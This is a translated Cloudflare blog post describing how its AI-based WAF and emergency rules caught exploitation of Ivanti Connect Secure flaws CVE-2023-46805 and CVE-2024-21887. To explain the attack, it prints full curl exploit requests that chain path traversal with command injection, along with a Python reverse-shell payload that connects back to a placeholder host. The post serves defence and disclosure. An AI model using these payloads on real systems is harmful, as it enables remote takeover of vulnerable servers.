Cloudflare 的 AI WAF 如何主動偵測到 Ivanti Connect Secure 關鍵 zero-day 漏洞
2024-01-23
Cloudflare 於 2024 年 1 月 17 日發佈了緊急規則,專門解決了這兩個漏洞,為不利用 AI 模型的客戶在應對這些威脅方面提供了巨大優勢...
繼續閱讀 »
\n \n \n
AttackerKB 最近揭露並分析了影響 Ivanti 產品的驗證繞過 (CVE-2023-46805) 和命令資料隱碼漏洞 (CVE-2024-21887)。此漏洞會帶來重大風險,可能導致對受影響系統進行未經授權的存取和控制。在下一節中,我們將討論此漏洞的利用情況。
\n正如 AttackerKB 中所討論的,攻擊者可以使用如下命令向目標系統傳送特製請求:
此命令針對通常受驗證保護的端點 (/license/keys-status/)。但是,攻擊者可以透過操縱 URL 以包含 /api/v1/totp/user-backup-code/../../license/keys-status/ 來繞過驗證。這種技術稱為目錄周遊。
\ncurl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
\n 命令的 URL 編碼部分解碼為 Python 反向 shell,如下所示:
Python 反向 shell 是攻擊者獲得對目標系統控制權的一種方法。
\n;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
\n 該漏洞存在於系統處理 node_name 參數的方式中。如果攻擊者可以控制 node_name 的值,他們就可以向系統注入命令。
詳細說明「node_name」:「node_name」參數是端點 /api/v1/license/keys-status/path:node_name 的組成部分。該端點是問題主要發生的地方。
攻擊者可以向 URI 路徑 /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; 傳送 GET 請求,其中 CMD 是他們希望執行的任何命令。透過使用分號,他們可以在請求中指定此命令。為了確保系統正確處理命令,必須對其進行 URL 編碼。
還發現了另一個程式碼插入漏洞,AttackerKB 的部落格文章對此進行了詳細介紹。該漏洞涉及在系統的另一部分發現的經過驗證的命令資料隱碼。
這裡可以使用第一個命令資料隱碼中使用的相同 Python 反向 shell 負載,形成一個 JSON 結構來觸發漏洞。由於該負載是 JSON 格式,因此無需對 URL 進行編碼:
儘管 /api/v1/system/maintenance/archiving/cloud-server-test-connection 端點需要驗證,但攻擊者可以透過將其與前面提到的目錄周遊漏洞鏈接來繞過此驗證。他們可以構造未經驗證的 URI 路徑 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection 來到達此端點並利用該漏洞。
\n{\n "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"CONNECTBACKIP\\",CONNECTBACKPORT));subprocess.call([\\"/bin/sh\\",\\"-i\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",\n "txtGCPProject": "a",\n "txtGCPSecret": "a",\n "txtGCPPath": "a",\n "txtGCPBucket": "a"\n}
\n 要執行未經驗證的作業系統命令,攻擊者會使用類似這樣的 curl 請求:
\ncurl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \\"type\\": \\";python -c \\'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\"CONNECTBACKIP\\\\\\",CONNECTBACKPORT));subprocess.call([\\\\\\"/bin/sh\\\\\\",\\\\\\"-i\\\\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\\';\\", \\"txtGCPProject\\":\\"a\\", \\"txtGCPSecret\\":\\"a\\", \\"txtGCPPath\\":\\"a\\", \\"txtGCPBucket\\":\\"a\\" }'
\n Cloudflare WAF 由一個名為 WAF Attack Score 的附加 AI 層提供支援,該層的構建目的是在攻擊繞過之前就將其捕獲,甚至是在其被公開之前。Attack Score 提供一個分數來表明請求是否惡意;到目前為止,重點關注三個主要類別:XSS、SQLi 和一些 RCE 變體(命令資料隱碼、ApacheLog4J 等)。分數範圍為 1 到 99,分數越低,請求越惡意。一般來說,任何低於 20 分的請求都被視為惡意請求。
使用 Cloudflare 的儀表板(安全性 > 事件)查看上述 CVE-2023-46805 和 CVE-2024-21887 的利用範例的結果。Attack Score 分析結果由三個單獨的分數組成,每個分數都用於表明它們與特定攻擊類別的相關性。還有一個全域分數「WAF Attack Score」,其考慮了這三個分數的綜合影響。在某些情況下,如果攻擊與某個類別匹配,則全域分數會受到其中一個子分數的影響,在這裡我們可以看到占主導地位的子分數是遠端程式碼執行「WAF RCE Attack Score」。
同樣,對於未經驗證的作業系統命令請求,我們從 AI 模型中收到「WAF attack Score:19」,這也屬於惡意請求類別。值得一提的是,範例分數不是固定數字,可能會根據傳入攻擊的變化而變化。
\n好消息是:啟用了 WAF Attack Score 的企業方案和商業方案客戶,以及具有低分封鎖規則(例如 [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
)或([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
")的商業方案客戶,已經免受潛在漏洞利用的影響,這種能力甚至在漏洞公佈之前就已進行過測試。
為應對這一嚴重漏洞,Cloudflare 於 2024 年 1 月 17 日(概念驗證公開後 24 小時內)發佈了緊急規則。這些規則是其 WAF 受管理規則的一部分,專門針對 CVE-2023-46805 和另一個也與 Ivanti 產品相關的漏洞 CVE-2024-21887 造成的威脅。這些名為「Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887」的規則旨在封鎖利用這些漏洞的嘗試,為 Cloudflare 使用者提供額外的安全層。
自從我們部署這些規則以來,我們記錄了高水準的活動。截至撰寫本文時,該規則已被觸發超過 180,000 次。
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
\nRule ID | \nDescription | \nDefault Action | \n
---|---|---|
New Managed Rule…34ab53c5 | \nIvanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | \nBlock | \n
Legacy Managed Rule 100622 | \n Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | \nBlock | \n
規則 ID
描述
預設動作
新受管理規則…34ab53c5
Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887
封鎖
舊版受管理規則100622
Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887
封鎖
\nCloudflare 對 CVE-2023-46805 和 CVE-2024-21887 的回應,表明了採取強有力安全措施的重要性。建議使用 Cloudflare 服務(尤其是 WAF)的組織確保其系統更新為使用最新的規則和設定,以維持最佳保護。我們還建議客戶使用 Attack Score 來部署規則,以改善其安全狀態。如果您想瞭解有關 Attack Score 的更多資訊,請聯絡您的客戶團隊。
\nCloudflare 使用 AI 識別和阻止攻擊的主動網路安全方法(其對 CVE-2023-46805 和 CVE-2024-21887 的回應就是例證)強調了如何在威脅和攻擊公開並披露漏洞之前對其進行識別。Cloudflare 透過持續監控和快速回應漏洞,確保其客戶在日益複雜的數位環境中保持安全。
"],"published_at":[0,"2024-01-23T14:00:48.000+00:00"],"updated_at":[0,"2024-10-09T23:26:52.175Z"],"feature_image":[0,"https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6XNlW8W0y9HnbNybHD3OFa/0d275c8c0c7739547f65395c89b789ad/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability.png"],"tags":[1,[[0,{"id":[0,"2pFyOCtANFB5qS6nbtQbVp"],"name":[0,"漏洞"],"slug":[0,"vulnerabilities"]}],[0,{"id":[0,"7gPQ1MtyU85B0FNCOHq6ju"],"name":[0,"WAF Rules"],"slug":[0,"waf-rules"]}],[0,{"id":[0,"lGCLqAT2SMojMzw5b6aio"],"name":[0,"WAF"],"slug":[0,"waf"]}],[0,{"id":[0,"5FlK9VPj1XH1161dsPRkec"],"name":[0,"WAF Attack Score"],"slug":[0,"waf-attack-score"]}],[0,{"id":[0,"2VoPLnnKPzSlQ9baSA9CfX"],"name":[0,"Zero Day Threats"],"slug":[0,"zero-day-threats"]}],[0,{"id":[0,"6h3TE7YtADO10hSjeJXH3l"],"name":[0,"AI WAF"],"slug":[0,"ai-waf"]}]]],"relatedTags":[0],"authors":[1,[[0,{"name":[0,"Himanshu Anand"],"slug":[0,"himanshu"],"bio":[0,"Making internet secure one bit at a time."],"profile_image":[0,"https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5K3sXDpPy3yP7oGm32tCJi/8eeb44d64157b1861a7aafa4ebd99bd2/himanshu.png"],"location":[0,null],"website":[0,"https://himanshuanand.com"],"twitter":[0,"@anand_himanshu"],"facebook":[0,null]}],[0,{"name":[0,"Radwa Radwan"],"slug":[0,"radwa"],"bio":[0,null],"profile_image":[0,"https://cf-assets.www.cloudflare.com/zkvhlag99gkb/26ps7sSkjvnatLHbGNWuI9/42c3618ee2392f7d7a0dc5f335615fda/radwa.jpg"],"location":[0,"London"],"website":[0,null],"twitter":[0,"@RadwaRadwan__"],"facebook":[0,null]}],[0,{"name":[0,"Vaibhav Singhal"],"slug":[0,"vaibhav"],"bio":[0,null],"profile_image":[0,"https://cf-assets.www.cloudflare.com/zkvhlag99gkb/73SYW24GMd3nd0KKn9rv8I/9648de33df7a469bcd52e6cc2cf19766/vaibhav.png"],"location":[0,"San Francisco"],"website":[0,null],"twitter":[0,null],"facebook":[0,null]}]]],"meta_description":[0,"Prior to the vulnerabilities' announcement publicly, the WAF Attack Score AI model was able to identify the attack threats and assign scores indicating high maliciousness for the attack examples, particularly for the Remote Code Execution and Path Traversal attack categories. The issuance of Emergency Rules by Cloudflare on January 17, 2024, specifically addressing the two vulnerabilities helped give customers that do not take advantage of the AI model a big advantage."],"primary_author":[0,{}],"localeList":[0,{"name":[0,"How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability Config"],"enUS":[0,"English for Locale"],"zhCN":[0,"Translated for Locale"],"zhHansCN":[0,"No Page for Locale"],"zhTW":[0,"Translated for Locale"],"frFR":[0,"Translated for Locale"],"deDE":[0,"Translated for Locale"],"itIT":[0,"No Page for Locale"],"jaJP":[0,"Translated for Locale"],"koKR":[0,"Translated for Locale"],"ptBR":[0,"Translated for Locale"],"esLA":[0,"No Page for Locale"],"esES":[0,"Translated for Locale"],"enAU":[0,"No Page for Locale"],"enCA":[0,"No Page for Locale"],"enIN":[0,"No Page for Locale"],"enGB":[0,"No Page for Locale"],"idID":[0,"No Page for Locale"],"ruRU":[0,"No Page for Locale"],"svSE":[0,"No Page for Locale"],"viVN":[0,"No Page for Locale"],"plPL":[0,"No Page for Locale"],"arAR":[0,"No Page for Locale"],"nlNL":[0,"No Page for Locale"],"thTH":[0,"No Page for Locale"],"trTR":[0,"No Page for Locale"],"heIL":[0,"No Page for Locale"],"lvLV":[0,"No Page for Locale"],"etEE":[0,"No Page for Locale"],"ltLT":[0,"No Page for Locale"]}],"url":[0,"https://blog.cloudflare.com/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability"],"metadata":[0,{"title":[0,"Cloudflare 的 AI WAF 如何主動偵測到 Ivanti Connect Secure 關鍵 zero-day 漏洞"],"description":[0,"Prior to the vulnerabilities' announcement publicly, the WAF Attack Score AI model was able to identify the attack threats and assign scores indicating high maliciousness for the attack examples, particularly for the Remote Code Execution and Path Traversal attack categories. The issuance of Emergency Rules by Cloudflare on January 17, 2024, specifically addressing the two vulnerabilities helped give customers that do not take advantage of the AI model a big advantage."],"imgPreview":[0,"https://cf-assets.www.cloudflare.com/zkvhlag99gkb/XKGgjZJ8HFOEZuDvXJVLf/2c8a5b183f831a781721d50bec78a25e/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability-tlWJaE.png"]}]}],"locale":[0,"zh-tw"],"translations":[0,{"posts.by":[0,"作者:"],"footer.gdpr":[0,"GDPR"],"lang_blurb1":[0,"本貼文還提供以下語言版本:{lang1}。"],"lang_blurb2":[0,"本貼文還提供以下語言版本:{lang1} 和{lang2}。"],"lang_blurb3":[0,"本貼文還提供以下語言版本:{lang1},{lang2} 和{lang3}。"],"footer.press":[0,"新聞"],"header.title":[0,"Cloudflare 部落格"],"search.clear":[0,"清除"],"search.filter":[0,"篩選"],"search.source":[0,"來源"],"footer.careers":[0,"人才招募"],"footer.company":[0,"公司"],"footer.support":[0,"支援"],"footer.the_net":[0,"theNet"],"search.filters":[0,"篩選器"],"footer.our_team":[0,"我們的團隊"],"footer.webinars":[0,"網路研討會"],"page.more_posts":[0,"更多貼文"],"posts.time_read":[0,"閱讀時間:{time} 分鐘"],"search.language":[0,"語言"],"footer.community":[0,"社群"],"footer.resources":[0,"資源"],"footer.solutions":[0,"解決方案"],"footer.trademark":[0,"商標"],"header.subscribe":[0,"訂閱"],"footer.compliance":[0,"合規性"],"footer.free_plans":[0,"免費方案"],"footer.impact_ESG":[0,"影響力/ESG"],"posts.follow_on_X":[0,"在 X 上進行關注"],"footer.help_center":[0,"幫助中心"],"footer.network_map":[0,"網路分佈圖"],"header.please_wait":[0,"請稍候"],"page.related_posts":[0,"相關貼文"],"search.result_stat":[0,"針對 {search_keyword} 的第 {search_range} 個搜尋結果(共 {search_total} 個結果)"],"footer.case_studies":[0,"案例研究"],"footer.connect_2024":[0,"Connect 2024"],"footer.terms_of_use":[0,"服務條款"],"footer.white_papers":[0,"白皮書"],"footer.cloudflare_tv":[0,"Cloudflare TV"],"footer.community_hub":[0,"社群中心"],"footer.compare_plans":[0,"比較各項方案"],"footer.contact_sales":[0,"連絡銷售團隊"],"header.contact_sales":[0,"連絡銷售團隊"],"header.email_address":[0,"電子郵件地址"],"page.error.not_found":[0,"找不到頁面"],"footer.developer_docs":[0,"開發人員文件"],"footer.privacy_policy":[0,"隱私權原則"],"footer.request_a_demo":[0,"請求示範"],"page.continue_reading":[0,"繼續閱讀"],"footer.analysts_report":[0,"分析報告"],"footer.for_enterprises":[0,"企業適用"],"footer.getting_started":[0,"開始使用"],"footer.learning_center":[0,"學習中心"],"footer.project_galileo":[0,"Galileo 專案"],"pagination.newer_posts":[0,"較新貼文"],"pagination.older_posts":[0,"較舊貼文"],"posts.social_buttons.x":[0,"在 X 上進行討論"],"search.icon_aria_label":[0,"搜尋"],"search.source_location":[0,"來源/地點"],"footer.about_cloudflare":[0,"關於 Cloudflare"],"footer.athenian_project":[0,"Athenian 專案"],"footer.become_a_partner":[0,"成為合作夥伴"],"footer.cloudflare_radar":[0,"Cloudflare Radar"],"footer.network_services":[0,"網路服務"],"footer.trust_and_safety":[0,"信任和安全"],"header.get_started_free":[0,"免費開始使用"],"page.search.placeholder":[0,"搜尋 Cloudflare"],"footer.cloudflare_status":[0,"Cloudflare 狀態"],"footer.cookie_preference":[0,"Cookie 喜好設定"],"header.valid_email_error":[0,"必須是有效電子郵件。"],"search.result_stat_empty":[0,"第 {search_range} 筆搜尋結果(共 {search_total} 筆)"],"footer.connectivity_cloud":[0,"全球連通雲"],"footer.developer_services":[0,"開發人員服務"],"footer.investor_relations":[0,"投資人關係"],"page.not_found.error_code":[0,"錯誤代碼:404"],"search.autocomplete_title":[0,"插入查詢。按下 Enter 鍵即可傳送"],"footer.logos_and_press_kit":[0,"標誌與新聞資料包"],"footer.application_services":[0,"應用程式服務"],"footer.get_a_recommendation":[0,"取得建議"],"posts.social_buttons.reddit":[0,"在 Reddit 上進行討論"],"footer.sse_and_sase_services":[0,"SSE 和 SASE 服務"],"page.not_found.outdated_link":[0,"您可能使用了過時的連結,或者可能輸入了錯誤的位址。"],"footer.report_security_issues":[0,"報告網路安全問題"],"page.error.error_message_page":[0,"抱歉,我們找不到您想要的頁面。"],"header.subscribe_notifications":[0,"訂閱以接收新文章的通知:"],"footer.cloudflare_for_campaigns":[0,"Cloudflare for Campaigns"],"header.subscription_confimation":[0,"訂閱已確認。感謝訂閱!"],"posts.social_buttons.hackernews":[0,"在 Hacker News 上進行討論"],"footer.diversity_equity_inclusion":[0,"多樣性、公平性和包容性"],"footer.critical_infrastructure_defense_project":[0,"關鍵基礎架構防禦專案"]}]}" ssr="" client="load" opts="{"name":"PostCard","value":true}" await-children="">2024-01-23
Cloudflare 於 2024 年 1 月 17 日發佈了緊急規則,專門解決了這兩個漏洞,為不利用 AI 模型的客戶在應對這些威脅方面提供了巨大優勢...
繼續閱讀 »